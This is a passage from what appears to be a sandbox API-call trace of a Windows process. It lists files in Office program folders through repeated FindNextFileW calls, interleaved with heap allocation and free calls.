Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ae80 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10590f8 [0069.381] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.381] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.381] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.381] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101aea0 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059180 [0069.381] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.381] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.381] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.381] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101aec0 [0069.381] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059208 [0069.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.382] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="")) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101aee0 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059290 [0069.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.382] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="")) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101af00 [0069.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054c40 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3640) returned 0x103ca28 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x105dbc0) returned 1 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.383] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.383] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101af20 [0069.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059318 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101af40 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10593a0 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101af60 [0069.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059428 [0069.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="")) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101af80 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054d48 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="")) returned 1 [0069.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101afa0 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054e50 [0069.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.386] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.386] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0069.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.399] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="")) returned 1 [0069.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101afc0 [0069.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054f58 [0069.401] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.401] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.401] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.401] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101afe0 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10594b0 [0069.401] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.401] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="")) returned 1 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.401] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.401] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b000 [0069.401] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059538 [0069.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.402] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b020 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1055060 [0069.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.402] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b040 [0069.403] RtlAllocateHeap 